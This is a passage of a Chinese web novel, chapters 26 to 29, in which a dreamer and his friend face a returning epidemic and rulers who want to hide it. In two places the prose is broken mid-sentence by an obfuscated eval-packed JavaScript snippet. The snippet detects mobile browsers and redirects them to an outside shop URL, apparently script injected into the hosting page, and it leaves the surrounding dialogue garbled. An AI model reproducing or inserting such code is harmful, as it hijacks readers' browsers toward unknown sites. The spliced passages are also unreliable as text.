舟之覆装作恍然大悟:“噢对,可我压了啊,沉皑这是从别人那儿知道的嘛,又不是我亲自告诉他的,无语死了,我只是想当个掌权者玩玩,他们的恩怨跟我有什么关系?至于你……关我屁事,滚蛋!”说完还翻了个白眼,自顾自往自己办公室走,结果没走两步,左脚勾右脚,自己把自己绊倒了,他“啊”一声摔下去。 沉皑听到有人朝自己走过来了,没几步,时咎的身形便出现了,他自然地撩开沉皑走进办公室,就像这个办公室是他的。 沉皑进来顺手关上门,跟着一起坐在沙发上,平静地问:“怎么了?” 时咎干脆半躺下,双手背在后脑勺上,深呼吸了一口气,懒懒回答:“没事,打狗。” 沉皑装作什么都没听到问:“谁惹你了?” 时咎想起就无语:“舟之覆啊。” “好吧。” 过了两秒,沉皑突然笑出来,似乎还有些无奈,他说:“我之前说你胆大包天,还真没说错。” 时咎皱眉,抬腿用膝盖蹬了一下沉皑的腿,不爽地说:“干嘛突然说我?” 沉皑顺手抓住他的膝盖,时咎“啧”了一声想挣脱,但沉皑劲太大,好像大腿肌肉的力气甚至比不过人家胳膊的劲。 用力挣扎了两下,确实不行,他很快放弃了,干脆转成伸直腿,直接顺势将小腿搭上了坐着的沉皑的大腿,再交叠起来,闭上眼,呈一个彻底躺平舒适的姿势。 沉皑:“……” 沉皑非常平静地提醒他:“注意你的行为。” 时咎眼睛都懒得睁,他说:“你可以坐你的办公椅。” 沉皑再次提醒他:“这个办公室是我的。” 时咎随意回答:“我朋友的就是我的。” 沉皑:“……” 一个毫无边界感的朋友。 但是沉皑最后也没去办公椅上,就任他这么嚣张地搭着,还打了几个电话,片刻,他跟时咎说:“处理好了。” “什么?” “舟之覆。” “呃……”让别人来给自己的一时坏脾气善后,好像有些不太好? 时咎想起什么,突然翻身起来了:“对了,有个事……” 时咎把刚刚发生的所有内容告诉沉皑,很快,沉皑让人送报告上来,发现居然确实如此。 他拿着报告很久没说话。 一直到时咎打破沉默,他问:“有个问题我之前就想问了,一直没找到机会。” 有时候时咎会想,如果因为对象是自己,那完全情有可原,毕竟他只是一个“未成年人”,但后来发现不仅如此,“成年人”之间也是这样。 他看着沉皑的表情,见他也没有阻止的意思,便问出来:“为什么?明明大家都实现思维透明了,你们还是语言沟通?” “我见过大城区的公民,有的也是用语言沟通,我知道你们有一个申请和主动开放的通道,不是所有人都对任何人开放,也有的公民是直接意识交流,但这个现象在文明中心的人里就没有,你们从来不用意识,那个掌权者助理问你事的时候,舟之覆出来捣乱的时候,沈向南操作失误你问他怎么通过审核的时候,季水风清理现场要去指挥的时候,包括刚刚沈向南要说事的时候,很多次,我都觉得这些问题你们在意识里都可以进行,也可以辨别真伪,意识会真实地传达一切,但你们都在问,都在求证,这是为什么?” 这个问题时咎想了很久,上次问的时候被季水风阻止了,他意识到这可能是一个不可说的事,所以他只能问沉皑。 沉皑也没想到他会问这个问题。 通常来讲,公民到文明中心做事,也是做完就离开,就算全程语言沟通也不会觉得有不妥,不过是公事公办,谁也不会停留。 但时咎长时间泡在文明中心,加上他本身就是一个“外来者”,这里的一切都与他无关,与他的沟通本身就不能用意识,时间久了,没人想到要提防他。 沉皑眼睛还看着报告,但回答着时咎,只是淡淡地、没有情绪地回答:“不该问的别问。” 于是时咎感受到了,那是一种阻抗,一座深藏海底的冰山,某种巨兽蛰伏在深海,能把人瞬间吞没,所以没人想出声吸引巨兽的注意,以至于连沉皑都不愿意说。 时咎难得追问:“为什么?” 他想证明自己可以保守秘密:“我不参与你们的历史,我只是个局外人,但我自认为,我们已经是关系不错的朋友,也不可以问?” 于是沉皑抬起头,放下手里的东西,朝时咎走过去,走到他面前,伸手把他的搭下来快挡住眼睛的头发撩上去,非常轻却也非常低沉地说:“时咎,你可以问我,但除我以外不能问任何其他人,就装作不知道。我想跟你说原因,但不能,有的事不知道比知道好。” 时咎从他眼里看到了关心,一种真切的关心,还有痛苦。 他在痛苦什么? 他那么强大的人,也会因为某些事痛苦吗?这个痛苦关乎什么? 沉皑收回手,往后退了一步,靠坐在办公桌边沿,以拉开两个人之间的距离。时咎看着他这个动作,有点发愣。 若是什么都不知道,这样的动作行为可能只是毫无意义的退后,但时咎知道没有任何行为是无意义的,行为都来自于心理。 他知道沉皑靠近他,允许自己把腿搭他腿上,碰了他的头发,是亲密和关心,但接着又退后一步,拉开物理距离,实际上他想拉开的是心理距离。 人的心理边界感有时候也会用物理距离来体现的。 所以沉皑想稍微与他划清界限。 刚刚不都好好的吗? 但一米,也算是好朋友的正常界限吧。 想问的问题没有要到答案。时咎觉得适可而止,便摊手一副无所谓的样子说道:“那好吧,反正如果哪一天我该知道这些事,你就会告诉我。” “嗯。”沉皑轻点头,身体动作顿了一瞬,唇闭上又张开,他犹豫着对时咎说,“还有件事我想提醒你。” 时咎抬眼:“什么?” 沉皑淡声道:“若非必要,不要在有人的地方使用你的能力。” “为什么?” “会有危险。” 时咎屏住呼吸望着沉皑,只听到沉皑轻声说:“保护好自己。” 时咎静默半晌,点头。 窗外聚集了些乌云,时咎看着那些堆叠的灰色,心不在焉地跟着沉皑走出起源实验室大楼。 他没想要跟着沉皑回家,但是他觉得太不安心了,最后还是询问可否跟着沉皑,对方只是淡淡看他一眼便也答应了。 天快黑了,街上商铺的灯逐一亮起,晚上比白天人更多,好像这个时间点更适合放松。灯光映着天空,天空把灯光当成自己的倒影。 两人鲜少说话,时咎始终跟在沉皑身后两步之遥,他在想一个科学的解释。 沉皑走几步会刻意放慢脚步等一下,直到时咎跟上来再继续往前。 前面街的末尾聚集了一些人,不是什么表演,是有人在惊慌说话。 沉皑顿住脚步,本该往左走的步伐转去了右边,两人快步走过去往里看了一眼,看到人群地上躺着一个人,还有另一个年轻男性坐在他旁边嘴里念着。 察觉不对的沉皑立刻拨开人群,刚要开口,里面坐着的男性一下就跳起来,冲过来就一把抓住旁边的时咎大喊:“救我,救救我!我要死了!救命!” 时咎还没反应过来,沉皑已经迅速把他的手扯开,严肃地说:“请您冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187318|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点!发生什么了!” “他,他们,他们要杀我!”说话间,他竟是指向了周围所有人,甚至手指划过的地方还有在后面没进入人群的沉皑他们。 人群骚动了一阵,一个男人出来说:“没有人要杀他,我刚刚来的时候地上这个人还是好好的,突然他就自己躺下了,这个人。”他指着现在站着被沉皑束缚住的男人说,“他是后来才来的,我本来想叫救护车,他突然疯疯癫癫跑过来说不要杀他,还抢我的手机。” 周围的人附和。 “地上这个人好好的自己躺下的。” “对,我们来问他需不需要帮助,这个人跑过来发疯。” “我刚刚在街对面,看到是这样的。” “是什么情况?要叫救护车吗?” 有人在人群里认出了沉皑。 “沉先生?最近我看到好几个人发疯上街了,安全中心,有调查怎么回事吗?” “我也有听说!” “我听说自杀率也上涨了。” 议论的声音在耳边炸开,沉皑刚想有所表示,他抓着的男人突然开始惨叫:“别杀我!!别杀我,救命!救命啊!”那样子好像沉皑束缚着他的手是烧红的铁块,疼得他不住挣扎。 人群往外退让了一步,有人在说:“我连接不到他的意识,他好像全部关闭了。” “我也没办法。安全管理中心在调查最近自杀率上涨的事吗?” “对,好多人都疯了一样……” “我都有点不敢出门了,怎么回事?” “救命啊!!”那个男人还在惨叫,“我看到祂了!!有鬼,有鬼啊!!” 救护车来的时候一直躺在地上的人突然就爬起来了,他想跑,刚好就在沉皑旁边,沉皑一把抓住他:“抱歉,我们需要你配合一下。” 那个人开始大喊:“你们干什么!我没疯!我没疯!真的有鬼!为什么不相信我!” 惨叫消失在救护车门关上的一瞬间。 时咎看着车远去,抹了下手心的汗,自言自语般说:“这不寻常。” 沉皑:“嗯。” 时咎觉得不安,但他不知道这个不安来自于他本身,还是身边的人给他传达的信息。 于是逐渐散开的人们,如同逐渐散开的恐惧,那些情绪一波一波辐射,一点一点吞噬蓝紫色的黄昏,直到看不到阳光,也看不到星星。 是一个多云而黑暗的夜晚。 时咎跟着沉皑回家。但他的思绪不在欣赏别人的家上,他更加确定一件事——在这个看似精神化高度发展的世界,背后潜藏的依然是鬼祟。 公民从与地球人类雷同的生活模式变为现在的乌托邦,靠的并不是历史自然发展,而是物质性进化,他们迫于战争与瘟疫,想求和求好,刚好季雨雪应运而生。 但他认为真正到达高度精神化这种理想状态,需要每个人、无数代人自省自识,这其中依然天差地别。 公民们不知道虚疑病从何来,又会盯上谁,并且无药可救。这样说来就是一件极其讽刺的事,因为他们明明思维透明了,却被病毒打回深渊,这个传染病从过去到现在都是克制他们进化的天敌。 很难说在虚疑病最初出现的时候,它本该存在多久。如果两百多年前,沉、季两家靠着信仰抵御全球动乱,虚疑病就会消失呢?但通过物理性进化人脑,反而使得这个病毒长久蛰伏,所以为什么进化中,体内含有病毒的人死亡率更高,导致文明中心不得不添加进化前检测。 或许虚疑病就是为思维透明而生,如同出现光明就生出的阴影。 “轰——” 窗外巨大的声响打断他的思绪。 打雷了?时咎走到窗边,打开窗,一瞬间狂风扑面而来,吹得时咎后退了一步。 耳边是嗡嗡的风声,外面的树叶横飞,黑云像漩涡一样聚集,不知道什么时候开始,狂风一阵一阵地刮着,刮得楼下的树沙沙作响,远处的金属碰撞,不知谁家的小狗狂吠,又是谁家把窗户用力关上了,好像任何东西都在响,剧烈地响着,这阵狂风似乎要把整个城市全部席卷而上。 暴雨前夕。 27. 第 27 章 沉皑穿着随便地出来的时候,客厅已经没有时咎的影子了,窗户大开着,风一阵一阵往里刮,刮得原本摆放在茶几上、但现在在沙发上的相框也挪动了好几下。 沉皑走过去关了窗户,拿起相框,用纸擦了一遍,再轻轻摆放回原位。 时咎醒了。他把梦里发生的最新的事分享给了唐廷璇,没过多久,唐廷璇发过来一些信息过来。 “是什么流行病吧?” “你要不查查清明梦,我记得是有控梦的一些教程的。” “你和沉皑好有共同话题的样子?” “我觉得他对你好温柔。” 傍晚,时咎久违接到了他母亲的电话,刚接起来,那边就传来愉快的语调:“小久,听说你的设计又得奖了?” “嗯?什么奖?”时咎之前提交了好几个,但是有一段时间了,他没关注,也没有去查询。 “一个国际设计什么的奖,我也记不得名字,还是我的学生在查资料的时候看到,跑来告诉我的,还跟我说那个奖含金量很高。” “好,我一会儿上网查一下。” 两人寒暄一会儿就挂了电话。时咎真去网上查,发现自己得奖的是一个四维模型像。 是一个玻璃材质做的高音谱号,利用克莱因瓶原理,把高音谱号的中央竖线做成了内外连接的通道,形成一个新式的“克莱因瓶”。 灵感来源于沉皑以前说的那句话:我认为可以超越维度的,音乐、爱。 于是他当时就想到了这个。 时咎再次出现的时候,沉皑刚好走到掌权者办公室外面,两个人在转角迎面撞上了。 沉皑手快立刻把时咎往身后推了一下,低声说:“你在这里等我。” 时咎环顾四周,是一个陌生的地方,他问:“这是哪?” “掌权者办公室。” “好。”时咎躲进了拐角。 没过多久,时咎听到另一边传来了谈话声。 “沉先生,掌权者很忙。”一个刻意压住语调,但又控制不住想往上扬的声音,时咎听出来,是那位掌权者传话人。 “等多久?”沉皑问,声音里没有任何温度,听得让人有些发冷。 秦昼永虽然态度恭敬,但总会有一些高傲的姿态,他说:“可能最近都不行,但是沉先生可以告诉我,等掌权者忙完我就转告他,不用您一直往这边跑。” 那边的声音安静了几秒,等了一会儿,时咎听到沉皑说:“关于最近公民自杀率突然上升的问题……” “轰——” 一声惊雷打断他的话。 时咎往对面的落地窗看去,才发现天是黑压压的,空气里弥漫着污浊。楼层太高的缘故,几乎感觉已经在黑云临界点里了,能看到好几公里外的楼房,晾着的衣服被吹走了,有的晾衣杆也塌了,半空中好像还飘着什么东西,在狂风的席卷里只能被撕扯。 这场雨竟然是还没下下来。 但越是没下来,越是不安,好像一切都在酝酿,一切都隐而不发。 秦昼永直接说:“我听说安全管理中心已经在着手调查了,请沉先生不要担心。” 于是再开口的时候,沉皑的语气变得冷漠而不容置疑:“这件事我必须要确保他知道,并且立刻做出行动妥善处理!” 好像察觉到沉皑在发怒的边缘,秦昼永的态度又低了下来,他说:“公民的事就是文明中心的事,掌权者知道怎么处理。” “他收到报告有应对政策了?” 秦昼永好像明知故问:“沉先生指的是什么应对政策?” “这种传染病!”沉皑在强忍怒气,时咎听出来了。 然而那位掌权者传话人依旧是不疾不徐,缓缓道来:“沉先生怀疑是传染病?” 沉皑说:“我怀疑是……”但他没说下去,声音戛然而止在那。 秦昼永看着他,也没有去补全没说出来的话,他非常强硬地说:“这是您的怀疑,但我希望沉先生不要做没有证据的猜测。” “这还是没有证据?” “请回吧。” 那边有脚步声踏在冰冷瓷砖上远去的声音,随后某扇门被关上。 外面的雷声又响起了,再一会儿,另一个脚步声响起。沉皑走过转角,看到了一直等在那里的时咎。 时咎听到沉皑叹了口气。 回办公室后,沉皑接到了季水风的电话,告知他,她现在正在卫生中心里等待近期全城卫生检查的结果,应该没多久就能出来了,有了结果会第一时间通知他。 “好。”沉皑神情严肃地挂了电话。 窗外是呜咽的风,刮得像有人在哭。好像今天的天就没亮起来,一直在黎明的边缘,房间里昏沉沉的,即使开着灯,也隔绝不了窗外的低气压。 时咎在摆弄他一直放在办公室的琴,此时一些没有具体音调的旋律正从他手里流出来。 沉皑问他:“这是什么?” 时咎没抬头,依然自顾自地摆弄:“一些可以让人放松的音乐。” 沉皑没打断他,任由他随意发散。 片刻,沉皑突然开口,嗓子却有些哑:“你每晚都会做梦?” “嗯?”时咎没听清,于是沉皑又重复了一遍,他回忆了一下说,“嗯,几乎吧。” “能控制不做梦吗?” “轰——” 依然是惊雷,滚得似乎就在头顶,近得像在耳边炸开。 音乐声断了,不知道是被沉皑的话打断还是被雷声打断。时咎抬头看向沉皑,他没有听明白,于是两个人看着对方,都没有说话,整个房间只剩下呼吸声。 时咎的第一反应是,沉皑希望他别做梦,但若是不做梦,便见不到他了。 那一刻,时咎好像又大梦一场后的初醒,他的手指不自然地蜷缩起来,捏住琴弓捏得指尖发白。 “应该是不行。”他说得很平静,掩埋住自己的情绪。 “好吧。” 时咎想到了沉皑往后退的那一步。 忽然,由远及近的,楼下传来了吵闹的声音,这些吵闹的声音被狂风裹挟着,甚至突破了隔音窗的壁垒,瞬间将房间里的沉闷冲破。 发生什么了?两个人对视了一眼,立刻一起动作站起来走到了窗边。 不知道什么时候开始,文明中心的广场上汇聚了数千人,他们走到广场,占据了广场一半的空间,还有一部分人在广场与城区的交界处甚至没进来,他们在楼下喊些什么东西。 “他们……疯了吧?”时咎不可思议地震悚道。 这样的天气,这么多人聚集。风刮得快要失去理智,半空中不知道从谁家带来的物品也随时会坠落,而他们…… 沉皑打开窗,那些人们的声音便被呜咽声撕扯着瞬间爆破了进来。 “请文明中心发布通知!” “请文明中心发布通知!” “请文明中心公布结果!” “请文明中心尽快处理!!” …… 他们非常有序,即使大面积的聚集却不散乱,各人在各人的位置上,不拥挤也不冲突。 沉皑看着这样的聚集规模,眉头紧锁,第一反应是立刻给季水风打了个电话。 “季水风!立刻疏散所有公民!!” 楼下响起了警笛,还有扩音喇叭,他们在高喊不要聚集,文明中心 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她说:“目前的病毒扩散程度在30%左右,但大多都处于初期,但初期到发病最多一个月,而且在检测的过程中每天送回来的样本感染率也在攀升。以前……以前没有这么多的。” 那边的声音似乎是被什么噎了一下,突然没说话了。 沉皑的指关节扣得很死,接着,他听到电话那头说出的最后几个字。 带着轻微的颤抖,又无比的郑重。 “是虚疑病。” 如同两百多年前的,大面积爆发。 它回来了。 “砰——” 巨大的声响,把时咎吓了一个激灵,却见门被人踹开了,外面站的竟然是舟之覆,他站在外面非常不爽地说:“聋了?敲门听不见?电话还打不通,言威让我们去一趟!” 舟之覆的目光在沉皑和时咎中间转了好多圈,最后也没说出什么话,只能不屑地“嘁”了一声,扭头就出去了。 沉皑的表情从刚刚起就一直没有放松下来,他低声对时咎说:“你就在这别出去,或者去我家等我,密码是5543431。”说完他便转身,一秒也没有犹豫地走了。 时咎愣在原地,他再次从那扇窗往下看,发现下面聚集的人群已经疏散一部分了,像一片黑色的海,慢慢退潮。 虚疑病,虚疑病。时咎默念了好几遍这个名字,在两百年后的今天卷土重来了,当时的虚疑病从最开始爆发到结束,夺取了这里大部分人的性命,虽然分不清是战争虐杀的人更多,还是这个传染病带走的人更多。 时咎觉得自己将“思维透明”与“虚疑病”分化成光明与黑暗是合理的,万物相生相克,违背自然规律会引发不可估量的后果。 时咎转头向下看,很快看到楼下沉皑和舟之覆往掌权者大楼走去的背影。 “轰——” 又是一声巨大的声响,时咎立刻回头作出防御姿势,却发现并不是办公室的门被人踢开。 “轰——”紧接着又是一声,比刚刚那声还大,又炸在耳边,炸得整个头都嗡嗡作响,那一瞬间灯光全灭了。 停电了。 四周陷入深邃的黑暗,黑得快看不清附近的构造,这个没开灯的房间很快就像被某种帷幕给笼罩了起来。 天空像蛰伏海底的巨大猛兽突然破水而出、厉爪腾空划破海平面,它宏伟的身体一跃隐没入云间,遮住了阳光,狂风巨浪一触即发,又倾泻而下。 一场暴雨。 28. 第 28 章 广场的人群比刚刚移动更快了,他们双手举过头顶,企图无济于事地挡住快速坠落如冰雹般的雨点,但是暴雨还是顺着他们的双手、流过胳膊,不假思索地往衣服里钻,往皮肤里钻。 每一个人都湿透了,每个人都变成了黑色的海水,汹涌往外奔逃。 他不能坐在这儿什么都不做。 时咎骂了一声,转身就跑。 他不能什么都不做,只是等着。冲到楼下发现没拿伞,干脆一路淋着暴雨从起源实验室冲往掌权者大楼,任由全身湿透。 掌权者大楼,一个白色的身影在奔跑着。时咎按照记忆里的高度一层楼一层楼地找,好在掌权者大楼内部并没有过多的安保,似乎他们也非常信任不会有有心之心来挑战他们的权威。 停电的缘故,这栋楼只有稀稀疏疏几盏可以让人看清楚路的灯开着,在闪电雷鸣暴雨里显得格外诡异。 每一楼的构造都不一样,时咎路过了很多办公室和办公区,还有会议室,沿着楼梯一层一层向上,终于在某一安静得出奇的楼层听到了与之不符的声音。 “绝对不能公布是虚疑病!”言威怒吼一声,双手用力拍在办公桌上,整张金属做的桌子竟然出现了裂隙。 整个会议室里没人说话,所有人都选择保持沉默,但没过多久,沉默被打破了。 沉皑冷漠地说:“掌权者法案第一条,公开透明一切决策。” “去他的公开透明!”言威爆怒,他指着沉皑说,“管理公民不是你想的那么简单!你真的以为完全公开透明对他们来说就是好的吗?无知!” 沉皑却也拍案而起,他压着怒气狠狠地说:“两百多年的公开透明!” “从现在起不是了!”言威怒吼。 房间里坐了七个人,言威和另一位掌权者单赫,秦昼永、沉皑、季水风、季山月、舟之覆。 又是死寂般的沉默。外面的暴雨下得更大了,吵得整个办公室人心惶惶,伴随着连续的闪电与惊雷,照着所有人的影子不停闪现又消失。 片刻,另一个老人的声音娓娓道:“我也同意不能让公民知道是虚疑病,这个病对于恩德诺的公民来说,就是基因里挥之不去的梦魇,如果不知道,也许还能慢慢阻止扩散,一旦他们知道这是虚疑病,必定会引发动乱,再想管理就难了!” 时咎喘着气,轻轻贴在门边听里面的动静。虽然他知道那段历史,但他并未置身其中过,也不是历史的后人,所以想象不出虚疑病对于恩德诺来说,是何等惊恐,光是听到名字都有可能引发动乱的程度。 但他认为公开透明是要人为做到的。 言威拉动他的椅子,重新坐回去:“虚疑病本身就从来没有彻底消灭过,季雨雪研发初代疫苗,她去世之后,疫苗的研发进度一直几乎处于停滞状态!恩德诺没有她那样的生物学天才了!这个病株根本找不到应对方法。本来没有那么多人感染,公布后才是加快发病!” “但现在就是突然进入大面积发病期了啊!”季山月大嗓门吼出来。 “而且越来越多。”季水风冷静接到。 “轰——”又一声惊雷炸响,雷声接了闪电,闪电结束又是惊雷,扰动得整个办公室的气氛不得安宁。 凝固的空气被舟之覆阴阳怪气疯癫一般的笑声打破了,他放松身体,斜靠在椅子上,甚至翘起了二郎腿,打了个哈欠慵懒地说:“啊,虚疑病从未消失过,永远都在恩德诺公民的基因里,好的时候好个几百年,坏的时候一次发病带走所有人,我建议啊,公布算了,反正都是要自杀的,文明灭了就好了。” 时咎有时候很佩服舟之覆,无论面对任何人,在任何场合,都可以说些别人不敢说的话,即使别的人心底也有这样那样不堪的想法,他像一面照妖镜,把别人害怕的东西全部照出来。 一个陌生的声音愤怒道:“胡扯!舟之覆注意你的言辞!” 舟之覆懒懒地瞥了他一眼,看都不想再看他:“我的的言辞好得很,有话直说,你单赫的言辞我不知道喔。” “别吵!说正事!”言威出声了,他很愤怒,又很努力压下自己心里的怒火。 沉皑冷冷地说:“言威,你别拿公民当傻子。” 言威紧紧抿着的唇微不可查的颤抖,目光从在场所有人身上走了一圈,和另外两位掌权者对了视线后,用相对平静的声音说:“先不公布虚疑病,季水风你去发布通知让所有公民都尽量待在家里,非必要不出门,已经有症状的上报文明中心,让公民不要恐慌,把消息压一下,说我们也在查……” “砰——” “啪——” 里面所有人都被吓到,循声往去,却见会议室的门被强行打开了,门锁就这么掉下来,发出金属坠地的声音,接着它慢慢滚动,竟是滚到了言威的脚边。 言威脸色都变了,他的唇抖了好几下,不可置信地看向门外。 掌权者大楼的所有锁,都是军事级别的工艺,虽然很少真正上锁,但也有备无患。这个锁……绝对不可能被暴力打开。 似乎所有人都想到了这一点,都怀着震惊的目光盯着门口,以及门后黑压压的未知。 接着,外面响起了不紧不慢的脚步声,脚步声慢慢靠近,一个人影出现在门口。 看到来人,里面所有的人神色各异。 沉皑眉头紧锁,季水风面色相对平静,舟之覆则挑眉一副看好戏的样子。 季山月呆呆地说:“我靠这小崽子该不会也被传染了疯病吧?” 言威还沉浸在不可置信里,他指着门口问:“你,你是谁?”他的手指不可置信地指向门上的洞和地上的锁,心梗了半晌没说出话。 门洞的位置露出了里面复杂的仪器部件,证明着这扇门本身也是一个高度科技化的产物。 时咎没有介绍自己,只是接着沉皑刚刚的话冷冷道:“别拿公民当傻子,你以为他们只是一时兴起来文明中心游行?如果不是早就察觉到虚疑病的存在,文明中心又始终不肯公布结果,他们闲得没事来这里淋雨?这是他们的需求,即使你不公布,他们也会活在猜是不是虚疑病的境地里,有人觉得是,有的觉得不是,又是无止境的争吵和猜疑。” 在恩德诺,事无不可对人言。 另一位掌权者反应过来,他愤怒地拍响桌子:“你是谁!轮不到你来教我们!” 时咎皱眉:“说话就说话,拍桌子让你觉得更有气势?” 他慢慢走进来,走到光下,不太明亮的灯光照着他修长的身形,浅蓝色松垮挂着的牛仔裤,白色T恤外搭了件彩色油画的外套,莫奈的日出印象以这样的方式出现在恩德诺。 单赫似乎从没被人忤逆过,指着时咎的手气得发抖,时咎无所谓地笑笑,但那并不能被称作是一个真正的笑,看着只让人忐忑不安:“我知道我不需要教你们,我又不是掌权者,没那个掌握全局运筹帷幄的能力,我就是善意提醒一下你们,别拿公民当傻子。” “你怎么进来的?怎么打破这个东西的?”言威还是无法释怀。 时咎耸肩,轻描淡写地给了他一个回答:“某个巧合。” 确实是巧合,其实他不想进来的,也记得沉皑说非必要不使用能力。他只是觉得这位掌权者不像是掌权者,更像是一位独裁者,那种他的现世里、历史上草菅人命、发动战争、建造集中营的独裁者,所以他很愤怒,想着有没有什么办法威慑他一下,接着那扇门就被爆破开了。 那他就……勉为其难地进来了。 言威气得又指了指门口,说:“你出去!” 时咎没动,他摆上假意的微笑:“那你会公布吗?” 言威的手开始慢慢凝聚着光。 季山月喃喃了一句:“不好了……” 千钧一发,沉皑突然站起来,二话不说就朝时咎走过去,漫不经心地走到两个人中间,走到时咎面前,刚好在可以挡住言威视线的位置,接着一把将时咎推了出去。 再用力甩上这扇被破坏了的门。 时咎一个趔趄,转身看着已经虚掩上的门,陷入沉默。 时咎的突然闯入并没有改变结果,但掌权者们同意在刚刚说的话里再加上一条:给公民足够的缓冲时间,再公布虚疑病。 季水风抿着唇,好半天才重重地吐了一个“好”字。 门被推开,走出来两个男人,接着后面跟着熟悉的面孔,最后是舟之覆打着哈欠朝他们挥手离开。 时咎站在会议室拐角的承重柱后面,他靠着柱子埋头没出声,没多会儿,传来了脚步靠近,一个身影便出现在旁边。 沉皑站在他旁边,冷冷地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187320|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“你过来做什么?” 季水风和季山月也跟过来,季水风奇怪问道:“你怎么上来的?进办公区不是需要文明中心人员的通行证吗?” 时咎捏住自己的手掌心,此时掌心躺着的便是之前沉皑给的通行证。 沉皑好像也想到了,他对旁边两个人说:“我先带他回去。” 回去的路上沉皑似乎心情不太好,并没有主动和时咎说一句话,时咎也没有说话。 雨依然密密麻麻地坠落,像扯不开的丝线撕裂在耳边,一点要变小的意思也没有,大得看不清近处的路。 泥土的气息深重得令人难以呼吸。 广场上已经没有聚集的公民了,只留了一些办事的人行色匆匆地举着伞经过,那些彩色的伞,倒像这场黑白灰般的雨里唯一的彩色,连绿化带也是灰蒙蒙的。 两个人站在掌权者大厅门外,沉皑脱了衣服递给时咎,时咎看着递过来的衣服,皱眉问:“干什么?” 沉皑的声音还是冷漠,他没有看时咎:“挡雨。” 时咎突然觉得很可笑,他把递过来衣服的手推了回去,不爽地说:“不需要。”然后便大步一跨,径直走进了雨里。 沉皑收回手,却也没有重新把衣服穿上,而且就这么拿着也跟了出去。 时咎憋不住事,两个人回到办公室他就发火了,但是他的发火非常冷静,就跟沉皑说了一句话:“我控制不了不做梦!” 沉皑明白自己是在无意中剥夺了他的主观能动性,还自私揣摩了别人的心思,便点头道:“好,我考虑不周。” “但是你不该这么闯进来。”沉皑接着说,他的胸口也在起伏着,被时咎气得不轻,“有的事你不了解,贸然干预会引起更严重的后果,要有分寸,合适的时候是勇敢,不合适的时候是无脑冲动!” “不要你教我!”时咎怒吼。 “啪——”一本书突然从书柜里抽出,飞快地砸向地面,接着整个书柜的书全部飞出,有的砸在墙上,有的砸在天花板,有的一起砸向了窗户,只听到窗户玻璃产生裂痕的声音。 接着整个书柜也开始在颤抖,沙发、椅子、书桌都颤抖起来,隐隐有要腾空而起的架势。 沉皑看着身边的变化,并没有出言阻止,而是皱着眉问:“我不教你,但你告诉我,你想做什么?现在的任何决策都关系巨大,恩德诺的公民很多,你知道吗?” 时咎让自己深呼吸了一口气,再次深呼吸,直到所有重物又都落回原地,书本不受控地坠了下来。 恩德诺的公民很多,每一位都是生命,要对生命敬畏,对公民负责。 他确实不应该那么冲动,但他并不是想干涉他们的决策,只是…… “对不起。”他说。 他后退两步,脱力般坐到沙发上,疲软地拿起手边刚刚正好掉在沙发上的书,随意把玩。 很烦,又烦得不知所以,突然的言语,突然的脾气。 沉皑垂下眼看他,片刻,也跟着坐过去,侧头柔声道:“你今天进来说的那些都没错,你的想法很对,只是不合时宜。” 时咎觉得刚刚自己有些乱了,把两股情绪混杂在一起发泄了,他叹了口气,仰头闭眼道:“对不起,我的问题,我一开始生气的点在于你问我能不能不做梦,让我感觉你企图让我抽离这里,而不是跟你一起面对,所以有了逆反心,更想证明我不是没用。并不是出于要干涉什么。” 曾经他想逃离沉皑,但沉皑确实是一个很好的人,所以现在想一起面对。 沉皑侧身坐着,仔细地看着时咎仰头的模样,他的侧脸轮廓很清晰,喉结在说话间微微上下滑动。 如此真实的一个人,真实的存在,真实地影响着故事的发展。而自己也是真实的存在,真实地过着这风谲云诡的一生,但他却说这是他的梦,到底谁才是谁的梦? 沉皑想伸手去拨开他因为被打湿而沾在一起的头发,但刚伸出去便又收回来,他低声说:“刚刚你说的时候我也觉得我不该那么问你,而且,我也不该说你无脑冲动,对不起。你今天进来说的那些话本来也是我想说的,我生气不是气你说了什么,是担心你的冲动会惹到言威。” 时咎睁开眼,他想起刚刚言威手里凝聚的光。 时咎问:“他的能力是什么?” 29. 第 29 章 沉皑垂下眼,时咎看不到那里面写了什么,但他感受到了抗拒,沉皑好像不愿意说。 时咎正想说如果不能说就算了,沉皑就开口了,他缓缓道:“吸收濒死者的能力。” 时咎愣了一下,又有些不太明白地说:“但,濒死者?首先得濒死?” 沉皑轻轻点头,淡然道:“他本身就很强,他能把人打到濒死,再吸收能力。” 果然城市里的人的能力都是不痛不痒,大家伙全在文明中心。 沉皑接着说:“之前你问我能力最强的人是谁,那会儿你不知道言威,我也不想说太多。其实他也是我认为最强的那几个之一,但是如果依然要排序……” “季山月,言威,季水风。” “季山月?”时咎皱眉。在沉皑的排序里,竟然是季山月,他犹豫着问,“那他是……” “对你们没用。”沉皑说。 你们?时咎注意到了沉皑的用词。 沉皑叹气,换了话题,他问时咎:“你的能力……” 时咎纠正他:“那是控梦。” “好,你的控梦,是不是多了新的?” 时咎思忖,后犹豫着点头,不确定道:“看上去是,不过是在我情绪起伏比较大的时候。” 沉皑突然想到做梦这件事,他问时候:“除了我和季水风,还有人知道你在梦中这件事吗?” 时咎摇头。 “好,不要跟别人说。” 当初向沉皑一个人解释都那么费力,他还去给别人说? 